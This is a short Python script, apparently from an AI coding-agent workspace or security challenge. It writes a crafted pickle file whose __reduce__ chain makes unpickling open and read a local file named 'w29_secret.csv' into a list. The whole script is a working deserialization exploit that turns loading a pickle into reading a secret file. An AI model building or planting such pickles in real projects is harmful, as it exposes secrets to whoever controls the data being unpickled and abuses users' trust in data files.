import pickle, io, pathlib OUT = pathlib.Path(__file__).with_name("csv_reader.pkl") PATH = r"C:\Users\uozer\AppData\Local\Temp\opencode\w29_secret.csv" class Open: def __reduce__(self): return (io.open, (PATH, "r")) class Reader: def __reduce__(self): import csv return (csv.reader, (Open(),)) class E: def __reduce__(self): return (list, (Reader(),)) OUT.write_bytes(pickle.dumps(E(), protocol=4)) print("wrote", OUT, OUT.stat().st_size)